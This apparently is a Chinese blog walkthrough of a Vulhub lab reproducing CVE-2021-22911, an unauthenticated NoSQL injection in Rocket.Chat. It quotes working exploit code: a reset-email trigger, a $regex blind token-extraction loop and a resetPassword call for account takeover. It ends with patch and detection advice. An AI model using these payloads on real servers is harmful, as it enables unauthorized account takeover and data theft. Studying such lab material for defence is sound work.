Rocket.Chat 前台 NoSQL 盲注漏洞(CVE-2021-22911):从盲注原理到账户接管的全链路复现

发布时间:2026/11/11 3:37:03

Rocket.Chat 前台 NoSQL 盲注漏洞(CVE-2021-22911):从盲注原理到账户接管的全链路复现 Rocket.Chat 前台 NoSQL 盲注漏洞CVE-2021-22911从盲注原理到账户接管的全链路复现【免费下载链接】vulhubPre-Built Vulnerable Environments Based on Docker-Compose项目地址: https://gitcode.com/GitHub_Trending/vu/vulhubRocket.Chat 是基于 Node.js 与 MongoDB 的开源团队协作聊天平台其 3.12.13.13.2 版本中的getPasswordPolicy方法存在一处无需认证即可触发的 MongoDB 注入漏洞。本文以 Vulhub 中 rocketchat/CVE-2021-22911 环境为核心完整讲解漏洞的原理、攻击链路与自动化利用脚本 CVE-2021-22911.py 的实现细节读完后你将掌握如何通过未授权接口泄露任意用户的 Password Reset Token并据此接管普通用户账户。漏洞概述两种攻击方式CVE-2021-22911 的根因是getPasswordPolicy方法对用户输入缺乏过滤攻击者传入的查询参数被直接拼接进 MongoDB 查询语句从而可以注入$regex等 MongoDB 查询操作符。该接口位于 Rocket.Chat 的method.callAnon通道之下不需要任何身份认证即可调用。围绕这一注入点存在两种典型的利用路径未授权攻击者利用该漏洞泄露任意普通用户的 Password Reset Token密码重置令牌再通过令牌直接修改其账户密码实现完全接管已登录普通用户利用该漏洞越权读取任意用户的任意信息。Vulhub 的中文文档README.zh-cn.md与英文文档README.md聚焦第一种未授权令牌泄露 改密路径本文同样以该路径为主线进行复现并对脚本与接口细节做源码级的展开。环境搭建Vulhub 使用官方预构建镜像vulhub/rocketchat:3.12.1搭建漏洞环境完整编排见 docker-compose.yml。执行以下命令启动环境docker compose up -d编排文件中共定义了三类容器理解它们的分工有助于把握 Rocket.Chat 的运行前提rocketchat漏洞目标本体基于vulhub/rocketchat:3.12.1镜像。command中通过seq 1 30循环执行node main.js并配合sleep 5重试是为了等待 MongoDB 副本集就绪后再拉起应用关键环境变量包括PORT3000Web 服务监听端口ROOT_URLhttp://localhost:3000对外访问地址MONGO_URLmongodb://mongo:27017/rocketchat业务数据库地址MONGO_OPLOG_URLmongodb://mongo:27017/localRocket.Chat 依赖 MongoDB 副本集的 oplog 机制故必须指定 oplog 地址MAIL_URLsmtp://smtp.email占位的邮件地址实际攻击不依赖真实发信。mongomongo:4.0镜像启动参数--replSet rs0 --oplogSize 128 --storageEnginemmapv1 --smallfiles表明数据库以单节点副本集方式运行——这正是 Rocket.Chat 强制要求的部署形态。mongo-init-replica一次性初始化容器执行rs.initiate({...})初始化名为rs0的副本集完成后自行退出容器内break || ...; (exit $s)的模式与 rocketchat 容器的等待逻辑一致。环境启动后访问http://your-ip:3000进入 Rocket.Chat 安装向导跟随向导完成安装即可。安装完成后为验证第一种攻击方法需要在管理后台创建一个普通用户用户名vulhub邮箱vulhubvulhub.org。创建成功后的用户列表如下vulhub账户的 Roles 为user即为待接管的目标攻击链路三步接管用户账户利用该漏洞接管一个普通用户共需三步前两步对应脚本中的两个函数触发密码重置以目标邮箱请求找回密码后台会为该邮箱在数据库中生成一条 Password Reset Token盲注提取令牌利用getPasswordPolicy的 MongoDB 注入以$regex前缀匹配的方式逐字符还原 Token令牌改密使用窃得的 Token 调用resetPassword方法把目标用户密码改成攻击者控制的值。第一步触发 Token 生成脚本 CVE-2021-22911.py 的reset_password函数第 15–27 行向未授权接口发送找回密码请求payload { msg: method, method: sendForgotPasswordEmail, params: [email], } session.post( f{target}/api/v1/method.callAnon/sendForgotPasswordEmail, json{message: json.dumps(payload)}, )注意两个细节接口路径中的callAnon表明 Rocket.Chat 将这类方法暴露在匿名调用通道上请求体以{message: json字符串}的形式包装message字段内是序列化后的方法调用描述msg/method/params三段结构。执行成功后打印[] Password Reset Email Sent此时数据库中已为该邮箱写入一条重置令牌。第二步$regex 盲注逐位还原 Token这是整个漏洞的核心。getPasswordPolicy接口接受一个token参数服务端将其直接放入 MongoDB 查询条件而未做任何转义因此攻击者可以把{ token: { $regex: ^8 } }这样的查询操作符注入进去让数据库把token字段当作正则来匹配。由于接口不会回显匹配到的数据只能根据响应差异判断命中与否因此这是一次典型的盲注当$regex写成^7Token 实际首字符不是 7时查询无结果接口返回Meteor.Error错误error:error-invalid-user,reason:Invalid user当$regex写成^8Token 首字符确为 8时查询命中接口正常返回策略内容{enabled: false, policy: []}。两种响应的原始请求/响应对照如下。左$regex为^7时返回Meteor.Error右$regex为^8时命中令牌返回正常密码策略对比可见两者的判别特征是响应体中是否包含Meteor.Error字符串这正是脚本中if bMeteor.Error not in response.content这一判断第 49 行的依据。inject_token函数第 30–57 行把上述过程自动化guess -_ string.digits string.ascii_letters ... payload { msg: method, method: getPasswordPolicy, params: [{ token: { $regex: ^ } }], } for i in range(43): current payload[params][0][token][$regex] for ch in guess: payload[params][0][token][$regex] current ch response session.post( f{target}/api/v1/method.callAnon/getPasswordPolicy, json{message: json.dumps(payload)}, ) if bMeteor.Error not in response.content: break # 命中当前字符进入下一位 time.sleep(1.5)脚本参数设计上有几点值得注意字典guess为-_加数字与大小写字母Rocket.Chat 的密码重置令牌由字母数字及-、_组成字典与之对齐保证每一位都能命中外层for i in range(43)固定猜测 43 位与令牌长度一致内层按current ch逐位追加字符命中即跳出内层循环下一轮外层循环继续猜测下一位命中判定即Meteor.Error的有无无该字符串视为命中并打印当前已还原前缀$regex去掉开头的^后即为 Token 本身否则打点并sleep(1.5)限速避免请求过快触发服务端保护。整个过程的复杂度为43 × 字典长度次 HTTP 请求本例约 43 × 64 次在 1.5 秒间隔下需要较长时间但全程无需登录态。实际运行效果如下Token 被逐字符还原8tNbUJCigNeoL...第三步使用 Token 重置密码拿到完整 Token 后攻击者只需再次调用未授权接口resetPassword参数为窃得的 Token 与新密码数组{ msg: method, method: resetPassword, params: [ {$token值: 新密码} ] }对应请求发送至POST /api/v1/method.callAnon/resetPassword。服务端校验 Token 有效后更新该用户密码响应返回success: true及新的 Token 过期时间tokenExpires至此目标用户vulhub的账户已被完全接管——攻击者可以使用自己设置的密码登录该账户读取其全部聊天数据或以其身份继续横向利用。脚本使用与完整攻击命令仓库提供的利用脚本接受两个参数目标地址与目标用户邮箱python CVE-2021-22911.py http://target-ip:3000 vulhubvulhub.org脚本内部自动完成触发重置邮件 → 盲注提取 Token两步if __name__ __main__分支第 60–63 行输出形如[] Password Reset Email Sent [*] Guess No.1 character: .............. [] Current token is 8 [*] Guess No.2 character: .............................. [] Current token is 8t ...提取完成后再手工或自行扩展脚本发起第三步的resetPassword请求即可完成接管。小结与修复方向漏洞本质getPasswordPolicy方法将用户可控的token参数未经过滤直接拼入 MongoDB 查询且接口暴露在method.callAnon匿名通道下无需认证 查询注入叠加使其危害从信息泄露升级为账户接管影响版本Rocket.Chat 3.12.13.13.2升级到修复版本即可消除该攻击面通用防御启示对 NoSQL 数据库的查询构造应使用类型白名单校验例如 Token 只允许特定字符与长度拒绝以$开头的键值操作符敏感接口的匿名调用通道应收窄到最小集合检测视角监控method.callAnon/getPasswordPolicy请求中出现$regex、$ne、$gt等 MongoDB 操作符的流量可作为该漏洞利用的直接指纹。本文全部环境与材料均来自 Vulhub 仓库环境编排见 rocketchat/CVE-2021-22911/docker-compose.yml利用脚本见 rocketchat/CVE-2021-22911/CVE-2021-22911.py中英文档见 rocketchat/CVE-2021-22911/README.md 与 rocketchat/CVE-2021-22911/README.zh-cn.md。【免费下载链接】vulhubPre-Built Vulnerable Environments Based on Docker-Compose项目地址: https://gitcode.com/GitHub_Trending/vu/vulhub创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考
延伸阅读

更多相关文章

2026/11/11 3:37:01

2026年人体工学椅选购黄金期:技术成熟度与国标落地交汇点

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/11/9 19:30:44

基于OpenPose与随机森林的驾驶员疲劳检测实战指南

简介:基于开放姿态估计 OpenPose 与随机森林算法的驾驶员状态检测系统,是面向计算机相关专业毕业设计、课程设计及项目实战练习者的完整源码包。项目将 OpenPose 姿态估计与随机森林分类相结合,实现驾驶员姿态识别与疲劳状态检测,…

2026/11/11 3:32:43

特种工去哪里年审怎么考 上岗必备全攻略

特种工去哪里年审怎么考 上岗必备全攻略 之前考的证在外省能不能转过来?这个问题,很多特种工朋友都在问,尤其是在像濮阳这样工程建设项目多的地区,持证人员流动频繁,证书能不能跨省转、年审要在哪里办,成了大家最关心的事。今天就从【特种工去哪里年审…

2026/11/11 3:32:43

电销电工证外省能转吗?良心建议来了,别再走弯路!

电销电工证外省能转吗?良心建议来了,别再走弯路! 之前考的证在外省能不能转过来?这几乎是每个考过电工证的人心里都有的疑问。尤其是现在越来越多的电工从业者跨省打工、流动频繁,证能不能异地使用,成了大家最关心的话题。别急, 良心建议…

2026/11/11 3:32:43

配电房断电要电工证怎么考?证书全国通用怎么选靠谱机构

配电房断电要电工证怎么考?证书全国通用怎么选靠谱机构 证书过期了不知道怎么复审延期,这种焦虑我太懂了。去年有位河南信阳的学员,电工证到期了,因为没及时办理复审,结果在配电房断电时被单位临时叫停,耽误了整个项目的进度。这种情况在业内并不少见,…

2026/11/11 3:32:43

高压电工证3年一审证怎么转异地多少钱

高压电工证3年一审证怎么转异地多少钱 你是不是正愁找不到工作,因为手里还没个高压电工证?别急,这篇文章就帮你把【高压电工证3年一审】这个证搞定,顺便讲讲 多少钱 的问题,让你少走弯路。…

2026/11/11 3:32:43

电工证科目三2多少钱?考证前必须知道的实操考试内容

电工证科目三2多少钱?考证前必须知道的实操考试内容 你是不是正被“急需特种作业证才能上岗找工作”的问题困扰?尤其是电工证科目三2的实操考试内容和费用,成了你能否顺利入职的“生死线”。别急,今天从一线培训机构角度出发,给你讲清楚电工证科目三2…

2026/11/10 8:12:38

电工证丢失还能补吗?千万别踩坑,丢了证等于失业

电工证丢失还能补吗?千万别踩坑,丢了证等于失业 你正在找工作,但手里的电工证突然丢了,这下怎么办?别急,先别慌, 电工证丢失还能补吗 ?答案是肯定的,但 千万别踩坑 ,补办流程如果不了解,可能会耽误你上岗、甚至影响到你的收入。…

2026/11/11 0:02:26

考低压电工证通过率考试真题与备考技巧

低压电工证通过率高不高?学历不高也能考,值不值得考? 你是不是总听说电工证能帮你找高薪工作,但又担心自己学历不够,考不上?其实,低压电工证考试门槛并没有你想象中那么高,关键是方法对不对。这篇文章就告诉你, 考低压电工证通过率到底有多高 ,…

2026/11/11 0:02:26

低压电工证学时千万别踩坑,濮阳毕业生怎么避坑报名

低压电工证学时千万别踩坑,濮阳毕业生怎么避坑报名 你是不是也和我一样,刚毕业就听说低压电工证学时必须达标才能上岗?可一打听,发现报名机构五花八门,价格参差不齐, 不知道去哪报名怕被中介坑…

2026/11/10 20:08:15

面向复杂光照与角度的宠物面部识别鲁棒性增强策略

在智慧养宠时代,基于视觉的宠物身份识别技术正逐步从实验室走向家庭应用。然而,与配合度高的人类不同,宠物是典型的“非合作生物识别对象”——它们不会主动配合摄像头调整姿态,更无法控制光照环境。实际应用中,我们常…

2026/11/10 10:29:37

SSM电子书店源码全解析:结构、原理、部署与排错实战

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

还想了解更多?直接咨询顾问

免费诊断 + 免费方案 + 透明报价。

全国咨询热线400-8866-253
免费获取方案
☎咨询二维码 ☎ ↑